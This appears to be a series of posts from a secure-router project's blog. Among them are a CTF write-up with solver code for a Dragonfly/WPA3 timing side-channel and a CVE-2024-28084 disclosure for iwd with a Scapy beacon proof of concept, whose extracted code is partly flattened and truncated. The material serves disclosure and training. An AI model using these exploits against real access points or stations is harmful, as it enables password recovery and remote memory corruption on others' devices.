Skip to main content

· 4 min read

Modular Router Hardware

I'm excited to announce that Supernetworks will be releasing Compute Module based and Pi5 Expansion HAT based access points. The HATs and Compute Modules are expected to be generally available this summer.

The second tenant of Sustainability is Reuse. Companies like Framework have been spearheading the charge towards a better form of computing by building upgradable laptops and soon other devices.

With what the Raspberry Pi Foundation offers people, we are able to bring some of the benefits of modular computing to Access Points as well. Modularity takes ownership one step further, letting people reuse the hardware for other projects, and upgrade it to make it powerful, without any soldering required.

Why Raspberry Pis Rock

For us it's been easy to admire the Raspberry Pi community in particular. They're not perfect, but across the board, these devices all the way from Wales are highly capable. With the support of the community, Ubuntu, and many other people, software support for them is generally good for quality, security, and keeping current with the innovation that happens on Linux every single day.

When we started building Supernetworks, people on forums would say PIs even with adapters would be too slow for a router and can't push past 100mbps, but we quickly found that to be nonsense, and were able to max out USB3 dongles for speeds over 650 Mbps with WiFi 5 and hit line speed (1Gbps) over the built-in ethernet as well as a USB3 Ethernet adapter. With WiFi 6 dongles, the speeds got even faster. All it took was some IRQ balancing to keep packet processing, USB3, and the built-in ethernet from thrashing the same core on interrupts. The dongles are key because although the PIs have a built-in wifi card, it does not make a great Access Point. At the time the built in card was missing WPA3 support, still has a limited internal antenna, and still today has no support for AP/VLAN for isolation.

One of the key limitations of using only a single USB3 WiFi dongle is that it is single-band. With the PI5 and HATs we can address this.

The PI5 Hats

Together with design firms we've been able to iterate with PI5s to turn them into dual-band/tri-band devices. The Pi5 HATs allow expanding a PI5 with PCI Express to add devices. To fully power Mediatek MT7915/6 cards we needed a custom HAT that could drive more power.

PI5 Hat

The HATs sit on top of the Pi5 and connect over the GPIO pins for power and the FPC cable for PCI.

PI5 Pod

Together with the MT7916 cards this makes the Pi5 into a highly capable dual-band access point, with one of the bands potentially being 6ghz. With an additional USB dongle it is possible to run the Pi5 as a tri-band router. We've been able to fully saturate all three bands. It's only when a 160Mhz channel is used (with speeds over 1 Gpbs) that we start to see I/O tuning matter for maintaining full bandwidth across USB3 and the mPCIE wifi card simultaneously.

Speed Tests Show Off Pi5 I/O

On the Pi5s we're actually seeing the best speeds we've ever seen with the MT7916 cards.


The image on the left represents a bandwidth test using the built-in ethernet for uplink. The image on the right represents a bandwidth test with only wifi as the built-in ethernet tops out at 1Gbps.

Using an AX210 card on an intel laptop instead of the iPhone 15, to connect to the Pi5, we've seen 160 MHz connection throughput momentarily top out at 1.9Gbps over TCP, from close range.

Next Steps

The HAT enables Raspberry Pi 5s to achieve impressive wifi throughput and full coverage for wifi bands. While we scale up production, we're also finishing up wifi enclosures. We have an interest form if you'd like to stay posted on updates. You can also preorder a HAT today

· 7 min read

Midnight Sun Qualifiers 2024

Over the weekend a ctf team I help with, HackingForSoju, hosted the Midnight Sun CTF Qualifiers. The finals will take place in Stockholm, Sweden on June 14-16.

I put together a challenge around WPA3's Password Authenticated Key Exchange: Dragonfly

WPA3 has quite a few notes during our our wifi training where we discuss the background to the protocol, because it was so very worrisome from the start.


A Troubled PAKE

In 2013, when Dan Harkins first proposed Dragonfly many people pointed out that it was inferior to existing PAKEs. Arguably it did not steer clear of existing patents, its performance was quite bad, and very objectively it suffered terribly from sidechannels. It does not take great skill to spot them.

There's an IETF thread thread sums it up here. Trevor Perrin, who is behind the Double Ratchet in Signal designed with Moxie Marlinspike, sums up what cryptographers saw.

In response, Dan Harkins goes on the offensive with personal attacks, saying several things of this nature:

> It makes little sense to use a 1024-bit FFC group in any circumstances
> because (pardon me, Kevin) - fuck the NSA.

That certainly is a fashionable pose to strike these days!

But I brought up binding a 1024-bit FFC to a password because that's
what an RFC with your name on it does. So it makes sense to replace
"the NSA" in your sentence with "Trevor Perrin".

-- Dan Harkins

When the designer of a security algorithm finds it acceptable to behave this way, and the decision makers rubber stamp their actions, we should probably take a step back as a society and ask if irrational people should be the ones solving and creating the math problems that our security relies on.

So when the WiFi consortium used Dragonfly for WPA3 in 2018, many people were actually surprised, since they assumed Dragonfly would never make its way into widespread usage.


As WPA3 entered the ecosystem, security experts started looking. In 2019 the world's leading wifi security expert, Mathy Vanhoef, with Eyal Ronen, demolished Dragonfly Many of the attacks were the same as initially outlined by Trevor Perrin as well as many other cryptographers in 2013.

The team also invented some novel mechanisms to attack Brainpool curves in particular. They proved that the hardening attempts with computing random values would provide statistical anomalies detectable by calculating timing variance.

What's even worse, under EAP-PWD (dragonfly with enterprise wifi), they found that implementaitons also accepted invalid curves, bypassing the password altogether.

Hardening was added to eliminate the remaining sidechannels.

The CTF Challenge

The qualifier's challenge celebrates these timing failures. Players had to remotely exploit a python implementation of Dragonfly that had the initial hardening only (always running 40 rounds).

The key insight is that the KDF for dragonfly is malleable based on the client's MAC address. Providing different MAC addresses creates unique timing signatures for a given AP MAC address and Password Shared Key.

The timing signature can then be compared offline against a password list to find the real password. With a vulnerable implementation this timing sidechannel is actually a lot more effective to exploit than cracking WPA2 keys which are protected with PBKDF2.

The easiest timing differences to exploit are that lines [2] and [3] only happen sometimes.

def initiate(self, other_mac, k=40):
See algorithm in
in section 3.2.1
self.other_mac = other_mac
found = 0
num_valid_points = 0
counter = 1
n = self.p.bit_length()

# Find x
while counter <= k:
base = self.compute_hashed_password(counter)
temp = self.key_derivation_function(n, base, b'Dragonfly Hunting And Pecking')
if temp >= self.p:
counter = counter + 1 [1]
seed = temp
val = self.curve.secure_curve_equation(seed) [2]
if self.curve.secure_is_quadratic_residue(val): [3]
if num_valid_points < 5:
x = seed
save = base
found = 1
num_valid_points += 1
logger.debug('Got point after {} iterations'.format(counter))

counter = counter + 1

if found == 0:
logger.error('No valid point found after {} iterations'.format(k))
return False
elif found == 1:
y = tonelli_shanks(self.curve.curve_equation(x), self.p)

PE = Point(x, y)

# check valid point
assert self.curve.curve_equation(x) == pow(y, 2, self.p)

self.PE = PE
assert self.curve.valid(self.PE)
return True

To expand the timing window, so that players from around the world can exploit this remotely over TCP, many more multiplications were added through a "masking" operation where random values are computed alongside the real one at random, raising their cost to hundreds of milliseconds.

def secure_curve_equation(self, x):
Do not leak hamming weights to power analysis
idx = secrets.randbelow(self.dN)
defense = self.defense_masks + []
defense[idx] = x
for i in range(self.dN):
tmp = defense[idx]
defense[i] = self.curve_equation(defense[idx])
return defense[idx]

def secure_is_quadratic_residue(self, x):
Do not leak hamming weights to power analysis
idx = secrets.randbelow(self.dN)
defense = self.defense_masks + []
defense[idx] = x
for i in range(self.dN):
defense[i] = self.is_quadratic_residue(defense[i])
return defense[idx]

In practice this is good enough for several teams to attack the service simultaneously.

To effectively precompute passwords, an attacker can create an offline dictionary that only hashes and skips the large number math.

def initiate(self, other_mac, k=40):
self.other_mac = other_mac
counter = 1
counter2 = 1
n = self.p.bit_length()

# Find x
while counter <= k:
base = self.compute_hashed_password(counter)
temp = self.key_derivation_function(n, base, b'Dragonfly Hunting And Pecking')
if temp >= self.p:
counter = counter + 1
counter2 += 1
counter = counter + 1
return counter2

The provided challenge also had a terrible way to convert a binary number which really slowed things down, and also had an off by one error probably.

# Convert returned_bits to the non-negative integer c (see Appendix C.2.1).
C = 0
for i in range(n):
if int(binary_repr[i]) == 1:
C += pow(2, n-i)


X = int(binary_repr, 2)<<1

My solution normalized the remote timings to compare them with the offline compute.

def normalize_array(arr):
"""Normalize an array to be between 0 and 1."""
return (arr - arr.min()) / (arr.max() - arr.min())

def calc_mse(psk, timings, guess_timings):
y_actual = normalize_array(np.array(timings))
y_predicted = normalize_array(np.array(guess_timings))
mse = np.mean((y_actual - y_predicted) ** 2)
return mse

def solve_psk_fast(ap_mac, my_macs, timings):
computed = open("compute.txt","rb").readlines()
psk = None
best_mse = 100
for line in computed:
p, tmp = line.split(b"|")
p = p.strip().decode()
guess_timings = json.loads(tmp.strip())
mse = calc_mse(p, timings, guess_timings)
if mse < best_mse:
print("new best",mse,p)
best_mse = mse
psk = p
return psk

During the CTF the services were overwhelmed by naive solutions, so we ended up scaling it up, but it was a little bit frustrating for some teams at times. In the future we'll have to put remote timing attempts behind a queue and/or proof of work.

To make the challenge harder, teams were also given a second variant with a larger keyspace. Instead of 60k wordlist, they were asked to attack a random 36-alphabet 5 character password. 7 teams solved it. Hats off to the great work, since you understood something Dan Harkins pretended not to when it was explained to him by so many cryptographers.

If you'd like to learn more about these attacks, the Dragonblood paper is the one you'll want.

The up to date constant time implementation of the password element deriviation in hostapd is located here:

· 2 min read

Introducing SPR-TailScale

We've released a new iteration of the TailScale integration for SPR! This plugin was put together with @willy_wong.


Under The Hood

Getting this plugin to work in the first place required some thinking. The first was addressing a key missing feature for SPR: interface-based firewall rules and routing.


This capability lets SPR perform container microsegmentation. Any interface can be treated this way actually. It allows for connecting interfaces with policies and groups that SPR has not been explicitly programmed for, as well as providing them API access.

The TailScale plugin sets up its own policy based routing and firewall rules, so being able to run it inside of its own network namespace is ideal. SPR then uses the custom interface rule to route to the container's network and let it do the forwarding on its own.

Next, setting it up was awkward, painful. To fix this the SPR team added UX for plugins, and the ability to install a plugin via a URL with an OTP code verification. And today we've released this capability for spr-tailscale! It's supported from SPR version 0.3.7


What can it do ?

This integration lets SPR devices selectively access TailScale peers. And similarly, TailScale peers can be joined to SPR groups to give them access to SPR devices.

The Plugin presents a React Based UI and simplifies the install. After the install, a user needs to present their Auth Key and they're good to go.

The container can run as an exit node as well.

You can check out the spr-tailscale integration here!

· 3 min read

CVE-2024-28084 Patched in Inet Wireless Daemon 2.16

While preparing some wifi security training, we found a double free vulnerability affecting APs and Stations running iwd. This issue was reported and patched with fixes available starting in version 2.16.

Supernetworks & Memory Safety

Writing secure native code is not simple nor easy. With SPR we're striving to build a project that's secure by default with memory safety throughout the stack. We're continuing to develop a softmac-based solution to eliminate protocol parsing using native code in firmware, drivers and userland. If you're interested in joining this effort let us know.

We also offer WiFi & Network Security training spanning from Digital Signals Processing to Cryptography to Protocol and Coding safety covering enterprise wifi and WPA2/3. If you're interested get in touch at [email protected]

A Double Free With Less Than 30 Bytes

The issue can be triggered remotely by sending a malformed Information Element inside of a beacon, a probe request, or a probe response. These are unauthenticated frames that a malicious attacker with physical proximity can send remotely.

The double free happens while parsing a P2P Information Elements (IEs) with a malformed ADVERTISED_SVC_INFO attribute. In the context of the flaw, remote double frees are especially powerful as they can lead to information leaks to help bypass ASLR and other hardening measures.

Technical details are below.

Code Overview

Under p2p_parse_probe_resp(), the ADVERTISED_SVC_INFO attribute is captured.

	r = p2p_parse_attrs(pdu, len,
REQUIRED(P2P_CAPABILITY, &d.capability),
OPTIONAL(NOTICE_OF_ABSENCE, &d.notice_of_absence),
REQUIRED(P2P_DEVICE_INFO, &d.device_info),
OPTIONAL(P2P_GROUP_INFO, &d.group_clients),
OPTIONAL(ADVERTISED_SVC_INFO, &d.advertised_svcs),

if (r >= 0)
memcpy(out, &d, sizeof(d));
p2p_clear_probe_resp(&d); [1]

return r;

While parsing this attribute in extract_p2p_advertised_service_info(), errors in processing will result in the queue pointer allocated at [3] to be released [4]:

static bool extract_p2p_advertised_service_info(const uint8_t *attr, size_t len,
void *data)
struct l_queue **out = data;

while (len) {
struct p2p_advertised_service_descriptor *desc;
int name_len;

if (len < 7)
goto error;

name_len = attr[6];
if (len < 7u + name_len)
goto error;

if (!l_utf8_validate((const char *) attr + 7, name_len, NULL))
goto error;

if (!*out)
*out = l_queue_new(); [3]

l_queue_destroy(*out, p2p_clear_advertised_service_descriptor); [4]

However when the parent function finishes, p2p_clear_probe_resp() will also free [2] the advertised_svcs data structures.

void p2p_clear_probe_resp(struct p2p_probe_resp *data)
p2p_clear_advertised_service_info_attr(&data->advertised_svcs); [2]

Scapy POC

CVE-2024-28084 beacon double free vulnerability due to error handling in extract_p2p_advertised_service_info
import sys
import os
from scapy.layers.dot11 import *
from scapy.arch import str2mac, get_if_raw_hwaddr
from time import time, sleep

def if_hwaddr(iff):
return str2mac(get_if_raw_hwaddr(iff)[1])

def config_mon(iface, channel):
"""set the interface in monitor mode and then change channel using iw"""
os.system("ip link set dev %s down" % iface)
os.system("iw dev %s set type monitor" % iface)
os.system("ip link set dev %s up" % iface)
os.system("iw dev %s set channel %d" % (iface, channel))

class AP:
def __init__(self, mac=None, mode="stdio", iface="wlan0", channel=1): = channel
self.iface = iface
self.mode = mode
if self.mode == "iface":
if not mac:
mac = if_hwaddr(iface)
config_mon(iface, channel)
if not mac:
raise Exception("Need a mac")
self.mac = mac

def get_radiotap_header(self):
return RadioTap()

def dot11_beacon(self, bssid):
crash=b"\xdd\x07" + b"\x50\x6f\x9a" + b"\x09" + b"\x19\x08\x00" + b"\xdd\x10" + b"\x50\x6f\x9a" + b"\x09" +b"\x00\x00" + b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
evil_packet = (
/ Dot11(
subtype=8, addr1="ff:ff:ff:ff:ff:ff", addr2=bssid, addr3=bssid
/ Dot11Beacon(cap=0x3101)
/ crash

def run(self):
self.interval = 0.05
while True:
# Sleep

def sendp(self, packet, verbose=False):
if self.mode == "stdio":
x =
sys.stdout.buffer.write(struct.pack("<L", len(x)) + x)
assert self.mode == "iface"
sendp(packet, iface=self.iface, verbose=False)

if __name__ == "__main__":
ap = AP(mode="iface", iface="wlan1", channel=1)

· 4 min read

Memory Corruption Hardening is Controversial Now?

Social Media has a lot of criticism lately for the push for memory safety as a metric for the labeling of software security. Between software supply chain susceptibility, command injection, and logic bugs obliterating software regularly, it doesn't seem like its the best candidate for a software safety metric.

The background for why the federal government is reporting in the area is E.O. 14028

From the EO there's several pushes for software and network safety. These are things like requiring Zero Trust Access for the Federal Government, EDR on federal systems for monitoring and responding to attacks, SBOMs for supply chain safety, and creating safety standards for IOT devices. Although the main focus is the federal government there's an aim to push out software safety standards to the public as a whole.

And it's regulation for consumers that I see getting some criticism. NIST's key areas interact with the labeling of safety for IOT and consumer software -- which has everyone skeptical because the government may not seem to be the best equipped for leading edge software practices, and regulatory overhead will raise the burden for software developers without necessarily moving software security forward.


On memory safety specifically, two key documents have been released over the past two quarters. The first is CISA's report on Memory Safety. The second is the ONCD Report on Measuring Memory Safety.

Software Looks Very Fragile When You're Good At Exploitation

My take on memory safety is that it looks a lot more urgent from the vantage point of an organization with a fully stocked arsenal. Many pieces of software really start to look like an open door. And there's just a lot they see the public doesn't have regular access to.

To an individual or even a team of defenders at a top 10 tier tech company, things might seem a lot less urgent than they do the whitehouse because exploitation has become difficult. We've come quite a long way since Operation Aurora where attackers could spray the 32-bit address space with nops and shellcode to execute code. Between 64-bit address spaces, CFI, ASLR, memory tagging, MTE, shadow stacks, EDR kernel sensors, single-process unikernels, scanners in security coprocessors, yes -- whole swathes of crashes are made interceptable, unexploitable, or vastly unreliable.

It takes whole teams to make successful exploit chains against rich and common attack surfaces. However, if the cost of not having a capability is more than the price of making it, it becomes increasing probable that an exploit will exist until software begins to be fundamentally secure. Ten million, fifty million, a hundred million dollars seems like a ton of money for an exploit chain that's one patch away from disappearing. But to the federal government that can create trillions of dollars to solve a global crisis, that amount of funding remains a rounding error.

Likewise, defenders at the US federal government and its partners have access to ongoing and recent attack trends. They see how attackers surreptitiously take advantage of flaws that may not always become public or fully known. To them the situation might look a lot more untenable than it does to leading edge software developers from the tech giants.

Defender Advantage Through Regulatory Controls

On one hand -- regulatory burden like we've seen with GDPR in the EU can really hurt developers, as well as user experience. Does anyone feel like the EU solved privacy for citizens or do they feel more surveilled than ever? On the other hand, regulation might just be the thing that helps secure software overcome the marketing department at Insecure Vendor Co. or helps Ada win against C or creates a market for new architectures.

On performance: if we're cool with shipping web browsers as native apps with a million NPM packages, we'll probably survive okay with compilers that waste instructions.

· 3 min read

The I Soon Dump

"The documents come from iSoon, also known as Auxun, a Chinese firm headquartered in Shanghai that sells third-party hacking and data-gathering services to Chinese government bureaus, security groups and state-owned enterprises. "

The Washington Post writes that "The documents show that iSoon met and worked with members of APT41, a Chinese hacking group that was charged by the U.S. Justice Department in 2020 for targeting more than 100 video game firms, universities and other victims worldwide."

WiFi Capability: Hardware Implants

The dump has a product catalogue that starting from page 18, describes hardware implants for persistent access to target environments. These implants are used for accessing a victim network without having to evade outbound proxies or firewalls, where security monitoring might take place. So they can attack the squishy inside directly.

They communicate to targets over WiFi and exfiltrate over 3G/4G.


  • They are small, portable, and have 3G/4G internet connectivity
  • They can be powered or run on a 10A battery that lasts 8-20 hours depending on activity
  • They can be embedded into a decoy power bank or other device

WiFi Attack System

Attackers can also connect into the sensors over 4G connectivity and then attack the environment over WiFi. It has standard capabilities one finds in tools like Kali Linux.


  • WEP/WPS/WPA/WPA2 cracking
  • Cracking can also be done via a more powerful cloud system
  • Once on a network the device can inspect packets for hashes
  • Once on a network the device can brute force login credentials for routers
  • The device can proxy traffic to the local network


  • The device can self destruct

What's Not in The Dump

What we don't see a cache of ready to go router exploits, patched or unpatched, as well as software/firmware capabilities for unpatched IOT devices which are soft targets on wifi.

Closing Thoughts on Detection

  • Nothing in the documents hits on masquerading implants by MAC address. A good asset inventory might go a long way when the device joins the network
  • Tools like Nzyme can help detect WiFi Cracking attempts as well as detect rogue APs in the environment. SPR supports nzyme taps
  • Building a baseline of WiFi APs would be the best way a defender can detect a WiFi Implant entering the environment
  • Defenders need internal network sensors as well as sensors on the outbound network
  • A zero-trust network setup would help mitigate this type of implant reaching an asset's networked resources, but would still leave client devices vulnerable to Rogue AP attacks unless they employ zero-trust principles for WiFi connectivity (like EAP-TLS/EAP-TTLS or per-device WPA3 personal passwords)

· 4 min read

Alerting Made Easy

We've rolled out a lightweight alerting mechanism built right inside of SPR.

So SPR already has an event system and we wanted to improve the existing notification system as well as persist alerts for later.

We wanted something with the following properties:

  • Allow powerful matching expressions
  • Work with our lightweight key-value database for concurrent access
  • Minimal system performance impact
  • User Customizable, in UX with minimal coding

The stack

We carry extensive experience building threat detection products in the infosec space. Typically these have been substantial systems where event and graph databases manage petabytes of information, and reports get generated as part of data pipelines or by processing during ingestion.

We wanted to keep it simple. So this is the stack we've settled on for alerts:

  • Run alert matching during event ingestion
  • Keep using BoltDB as a KV which scales well and is already built
  • Use PaesslerAG/jsonpath and gval for JSONPath expressions and evaluation
  • Extensible later with custom operators and functions. We get this from gval
  • UX with our React frontend

For advanced users, exporting to InfluxDB, Splunk, or ELK can be done with the sprbus tools or by pulling the API for events, so threat detection experts can integrate SPR data into more sophisticated detection tools.

Expression Matching with JSONPath

Let's quickly take a tour of JSONPath.


JSONPath is a query syntax for matching fields of a JSON Object.

Consider the event below

"MAC": "30:58:90:32:7d:e5",
"Reason": "mismatch",
"Status": "",
"Type": "wpa",
"time": "2024-02-02T04:10:19.511662376Z",
"bucket": "wifi:auth:fail",
"MeaningOfLife": 42

To retrieve the MeaningOfLife field, we can construct the following path:

$.MeaningOfLife which returns 42.

Looking at the basic operators for JSONPath, its very much built to recurse objects and iterate through arrays. alerts-custom

So suppose we have an array of events, we can build a filter expression to query for matches.

"MAC": "30:58:90:32:7d:e5",
"Reason": "mismatch",
"Status": "",
"Type": "wpa",
"time": "2024-02-02T04:10:19.511662376Z",
"bucket": "wifi:auth:fail",
"MeaningOfLife": 42

To pull out events with MeaningOfLife 42, we would apply this query:


We could also use other mathematical comparisons


Or with gval we can even add numbers


Other useful ways to match are regular expressions on strings:



The best part is we don't need a SQL schema to get started. JSONPath work for all of the events in SPR. It may seem a bit intimidating at first, and we hide out some of the extra syntax $[?@(.)]. However, this provides a lot of flexibility and is relatively easy once you get the hang of it.


To simplify rule writing we allow multiple JSONPath queries and provide toggles for inverting logic as well as Match One (OR) or Match Any (AND). Each JSONPath query can match on multiple fields too.

The JSONPath query language is also available under the events search view for searching.

Customizability & Decorators

Alerts can Notify in the UI or they can sit on the Alerts page for triaging. When defining an alert, users can fill out the 'Title' and 'Body' for the alert to display. These support a templating language, for populating text with fields from the Alert Event. Furthermore, we've added a few decorators with hashtags to convert identifiers to device icons or go from something like a MAC address to a device name or IP Address.

Templates expand event fields inside of curly brackets as elow: MAC Mismatch IP Violation {{IP.SrcIP#Device}} {{IP.SrcIP}} {{Ethernet.SrcMAC}} to {{IP.DstIP}} {{Ethernet.DstMAC}}

Check out the guide for more details about how to configure alerts.

Need a feature?

If you'd like to see more added or have a question, don't hesitate to file a github issue or reach out on our discord


· 5 min read

What a year it's been for the Secure Programmable Router (SPR) project! We've made great strides in empowering users to take control of their networks, prioritize privacy, and unlock network configurability. Let's dive right into the highlights of 2023 and peek at what's in store for the future.


Major Accomplishments:

  • iOS App Launch: We've extended network management to your fingertips with the release of our official iOS app on the App Store. We're thankful to our users from almost each and every region on the App Store.
  • PLUS Membership: Our community now has the option to support the project with PLUS and unlock advanced features like:
    • Mesh networking for seamless coverage with multiple APs
    • Site VPN support for selectively routing traffic through a remote Wireguard VPN
    • Advanced firewall rules with scheduling, domain name, and regular expression support
  • Shipping Dev Kits. After the global supply chain crunch, we're proud to be shipping dev kits to users
  • Microsegmentation for Containers: We've taken SPR's container support to the next level with integrated container microsegmentation, enabling granular control over container and interface traffic.
  • VLAN Trunk Support: SPR can work as a wired firewall as well. Connect devices to your SPR network securely through a managed switch, with SPR terminating a VLAN Trunk Port.
  • Expanded Network Visibility: Our new event bus, database, and configurable alerting mechanism provide key insights into network activity, empowering users to detect and troubleshoot issues effectively and analyze IOT & device traffic.

Thank you to our users!

  • We Build For You: We're incredibly grateful for our active user base and their invaluable suggestions. Your feedback drives our development roadmap! Join the conversation on Discord or create a GitHub request to share your ideas. Many of SPR's capabilities come from requests. Some of the feature requests that have landed are wifi scanning from the UI, the lan_upstream tag for restricting and managing access to upstream local networks to enable secure router chaining, and load balancing support across multiple Uplink interfaces.

  • Privacy and Ad Blocking Excellence: SPR continues to excel as a self-hosted WireGuard + DNS Ad block solution, offering unmatched configurability with per-device rules, easy exception management, and upstream DNS over HTTPS support for enhanced privacy. Users can get these capabilities by self hosting in the cloud as well as running SPR at home as a router.

  • Network Debugging Made Easy: Users have been able to use SPR to successfully debug connectivity issues with devices like Ring cameras, pinpointing problems with Amazon's cloud services rather than home Wi-Fi although Ring may say otherwise.

  • Uncovering Unauthorized Access: Event logs have helped users identify and address unauthorized access attempts, including scenarios like accidental connections from new neighbors moving in.

  • Speedier WiFi: Even with our Raspberry Pi dev kits, users report impressive speeds between 500-700 Mbps over USB3, surpassing their previous routers. With MT7915/6 cards, SPR users today can enjoy actual WiFi 6 gigabit (1000+ Mbps) connectivity over 2 spatial streams as measured with iperf3.

Technical Research:

  • Unscathed by MacStealer: SPR's design was further validated by the MacStealer (CVE-2022-47522) flaws. MacStealer bypassed most Client Isolation approaches due to state errors in low level firmware with MAC address handling. SPR's per-device VLAN and per-device password approach is totally immune to this category of protocol flaws.

  • Research AP in Scapy: We've developed functional WPA2 AP research scripts in Scapy for working with Wi-Fi frames, compatible with mac80211_hwsim and real wireless cards. (

  • Turtles WiFi Hacking While waiting for the supply chain to unlock at the start of the year, we put together some wifi security training focused on protocol. We actually let people boot a kernel for a self hosted wireless lab, in the browser. Or people can play offline in containers. This is a bit different than other labs which teach people to run prebuilt software as we guide people towards working at the packet level. Check it out here


2023's Hardware In Pictures

pi4 Pi4 with a Mediatek MT76-based USB3 Adapter

pi4 Solidrun Clearfog Dev Kit

The Road Ahead:

  • Empowering Plugins: Our next major focus is facilitating community-built plugins. We've already created prototypes for Tailscale support and mitmproxy, and we're working on UI integration and streamlined installation to make plugin usage as seamless as possible without sacrificing security.
  • PI5 Router with WiFi-6: Our next hardware device will be a a PI5-based router packaged with wifi-6 support.
  • Eliminating firmware risk We're also developing software to eliminate firmware attack surfaces with WiFi.

Join the Movement:

We invite you to be part of the SPR journey! Contribute to development, share your feedback, and help us shape the future of open-source networking. Together, we can build a more secure, private, and customizable internet experience for everyone.

Visit our website and GitHub repository to learn more and get involved

· One min read

Nzyme lets people monitor their wifi networks with sensors that collect wifi data (as well as network traffic).

It can detect common wifi attack tools and tactics like deauths for getting WPA2 handshakes to crack, rogue APs, and more.

We've put together a plugin that can run alongside the SPR AP without affecting the channels, by creating a monitor interface. While this won't be able to detect Rogue APs, it can detect some anomalous activity.

The plugin is available at

· 2 min read


This post has become a guide which is being kept up to date, check it out!


In this post we'll show how PLUS members can add a mitmproxy plugin to their SPR setup, and then use the Programmable Firewall (PFW) plugin to redirect traffic through mitmproxy with DNAT forwarding.

We do not need to configure our clients with proxy settings to point to mitmproxy, or rewrite DNS responses, since we are using the PFW feature to do the redirection.

This plugin is available on github.

Prepare the plugin

from the SPR directory, typically /home/spr/super

cd plugins
git clone
echo [\"plugins/spr-mitmproxy/docker-compose.yml\"] > ../configs/base/custom_compose_paths.json
cd spr-mitmproxy
docker compose build

Configure SPR

  1. Navigate to the SPR UI. Add mitmproxy under the Plugins page
  • be sure its been added to configs/base/custom_compose_paths.json as above
  • Enable it by toggling the slider
  1. Add mitmweb0 to the custom interface rules. You can verify your container's network address in the Container tab -> Under Firewall-> Custom Interface Access Add a new rule, make sure mitmproxy has wan at least to access the internet.

  1. Create a forwarding rule to the container web interface :8081. Pick an arbitrary IP in the subnet -- although not the same one as the container as that confuses dnat.

  2. Create a site forward rule with PFW for traffic to intercept

Using mitmproxy

Then make a curl request from any of the LAN devices, and it should populate on the mitmweb host. This was the :8081 host that was earlier defined

Leveraging Transparent Sockets

Behind the scenes, mitmproxy is using transparent sockets with DNAT. Inside the container network, we establish dnat rules to mitmproxy from incoming ports 80, 443.


nft -f - << EOF
table inet nat {
chain prerouting {
type nat hook prerouting priority filter; policy accept;
tcp dport { 80, 443 } dnat ip to

mitmweb -p 9999 -m transparent --web-host

We'd love to hear from you

We're always thrilled to get feedback on plugins people would like to see, and we're excited to hear about what people will be able to do with mitmproxy running alongside SPR. Drop a line at outreach[at] or join us on discord